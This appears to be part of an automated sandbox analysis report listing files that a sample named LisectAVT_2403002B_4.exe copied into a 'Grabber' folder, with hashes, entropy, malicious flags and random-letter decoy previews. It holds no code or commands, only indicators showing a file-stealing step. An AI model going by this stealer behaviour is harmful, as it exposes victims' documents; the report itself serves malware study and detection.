Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	true
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	true
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	true
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

